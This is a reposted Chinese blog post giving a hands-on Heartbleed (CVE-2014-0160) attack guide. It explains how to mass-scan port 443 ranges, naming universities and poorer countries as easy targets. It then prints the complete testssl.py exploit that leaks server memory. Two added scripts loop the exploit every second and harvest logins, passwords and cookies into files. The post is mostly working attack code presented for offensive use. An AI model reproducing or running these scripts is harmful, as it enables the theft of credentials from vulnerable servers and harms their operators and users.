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OpenSSL Heartbleed “心脏滴血”漏洞简单攻击示例
OpenSSL Heartbleed漏洞的公开和流行让许多人兴奋了一把,也让另一些人惊慌了一把。
单纯从攻击的角度讲,我已知道的,网上公开的扫描工具有:
1. Nmap脚本ssl-heartbleed.nse: http://nmap.org/nsedoc/scripts/ssl-heartbleed.html
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nmap -sV --script=ssl-heartbleed <target>
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若想要批量寻找攻击目标,可以直接扫目标IP段的443端口。高校和互联网不发达的国家都是比较容易攻击的。
得到活跃主机IP地址,再导入上述扫描器。
针对特定的某个攻击目标,可以查看已经读到的内容,利用正则表达式不停拉抓账号密码。
也可以根据关键词,不停抓下cookie,账号等。
testssl.py源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 | #!/usr/bin/python # Quick and dirty demonstration of CVE-2014-0160 by Jared Stafford (jspenguin@jspenguin.org) # The author disclaims copyright to this source code. import sys import struct import socket import time import select import re from optparse import OptionParser options = OptionParser(usage='%prog server [options]', description='Test for SSL heartbeat vulnerability (CVE-2014-0160)') options.add_option('-p', '--port', type='int', default=443, help='TCP port to test (default: 443)') def h2bin(x): return x.replace(' ', '').replace('\n', '').decode('hex') hello = h2bin(''' 16 03 02 00 dc 01 00 00 d8 03 02 53 43 5b 90 9d 9b 72 0b bc 0c bc 2b 92 a8 48 97 cf bd 39 04 cc 16 0a 85 03 90 9f 77 04 33 d4 de 00 00 66 c0 14 c0 0a c0 22 c0 21 00 39 00 38 00 88 00 87 c0 0f c0 05 00 35 00 84 c0 12 c0 08 c0 1c c0 1b 00 16 00 13 c0 0d c0 03 00 0a c0 13 c0 09 c0 1f c0 1e 00 33 00 32 00 9a 00 99 00 45 00 44 c0 0e c0 04 00 2f 00 96 00 41 c0 11 c0 07 c0 0c c0 02 00 05 00 04 00 15 00 12 00 09 00 14 00 11 00 08 00 06 00 03 00 ff 01 00 00 49 00 0b 00 04 03 00 01 02 00 0a 00 34 00 32 00 0e 00 0d 00 19 00 0b 00 0c 00 18 00 09 00 0a 00 16 00 17 00 08 00 06 00 07 00 14 00 15 00 04 00 05 00 12 00 13 00 01 00 02 00 03 00 0f 00 10 00 11 00 23 00 00 00 0f 00 01 01 ''') hb = h2bin(''' 18 03 02 00 03 01 40 00 ''') def hexdump(s): pdat = '' for b in xrange(0, len(s), 16): lin = [c for c in s[b : b + 16]] pdat += ''.join((c if 32 <= ord(c) <= 126 else '.' )for c in lin) print '%s' % (pdat.replace('......', ''),) print def recvall(s, length, timeout=5): endtime = time.time() + timeout rdata = '' remain = length while remain > 0: rtime = endtime - time.time() if rtime < 0: return None r, w, e = select.select([s], [], [], 5) if s in r: data = s.recv(remain) # EOF? if not data: return None rdata += data remain -= len(data) return rdata def recvmsg(s): hdr = recvall(s, 5) if hdr is None: print 'Unexpected EOF receiving record header - server closed connection' return None, None, None typ, ver, ln = struct.unpack('>BHH', hdr) pay = recvall(s, ln, 10) if pay is None: print 'Unexpected EOF receiving record payload - server closed connection' return None, None, None print ' ... received message: type = %d, ver = %04x, length = %d' % (typ, ver, len(pay)) return typ, ver, pay def hit_hb(s): s.send(hb) while True: typ, ver, pay = recvmsg(s) if typ is None: print 'No heartbeat response received, server likely not vulnerable' return False if typ == 24: print 'Received heartbeat response:' hexdump(pay) if len(pay) > 3: print 'WARNING: server returned more data than it should - server is vulnerable!' else: print 'Server processed malformed heartbeat, but did not return any extra data.' return True if typ == 21: print 'Received alert:' hexdump(pay) print 'Server returned error, likely not vulnerable' return False def main(): opts, args = options.parse_args() if len(args) < 1: options.print_help() return s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) print 'Connecting...' sys.stdout.flush() s.connect((args[0], opts.port)) print 'Sending Client Hello...' sys.stdout.flush() s.send(hello) print 'Waiting for Server Hello...' sys.stdout.flush() while True: typ, ver, pay = recvmsg(s) if typ == None: print 'Server closed connection without sending Server Hello.' return # Look for server hello done message. if typ == 22 and ord(pay[0]) == 0x0E: break print 'Sending heartbeat request...' sys.stdout.flush() s.send(hb) hit_hb(s) if __name__ == '__main__': main() |
将testssl.py的代码修改为不输出偏移地址和非ascii字符,找到hexdump函数,修改为:
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def hexdump(s):
pdat = ''
for b in xrange(0, len(s), 16):
lin = [c for c in s[b : b + 16]]
pdat += ''.join((c if 32 <= ord(c) <= 126 else '.' )for c in lin)
print '%s' % (pdat.replace('......', ''),)
print
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这样就只输出有用的ascii字符串了。
1. 正则表达式抓账号
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import os
import re
import time
accounts = []
while True:
result = os.popen('openssl.py ').read()
matches = re.findall('"db":"(.*?)","login":"(.*?)","password":"(.*?)"', result)
for match in matches:
if match not in accounts:
accounts.append(match)
with open('accounts.txt', 'a') as inFile:
inFile.write(str(match) + '\n')
print 'New Account:', match
time.sleep(1.0)
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脚本间隔一秒钟读一次数据,发现正则匹配的账号密码,若之前没出现过,就写入accounts.txt文件。
这样可以避免重复写入同样的账号、密码。
2. 根据关键词抓数据
如果并不确定后台地址,也不知道登录请求、Cookie的格式,直接用关键词抓账号就行了。
类似下面的代码:
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import os
import re
import time
accounts = []
while True:
result = os.popen('openssl.py ').read()
keywords = ['system', 'password', 'passwd', 'admin']
for word in keywords:
if result.find(word) > 0:
print 'new data', time.asctime()
with open('data_1\\' + time.asctime().replace(':', ' ') + '.txt', 'w') as f:
f.write(result)
break
time.sleep(1.0)
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这样一旦返回的数据中存在关键词passwd、password等,就会把数据写入data_1文件夹下面,以时间命名。
文章转载自:http://www.lijiejie.com
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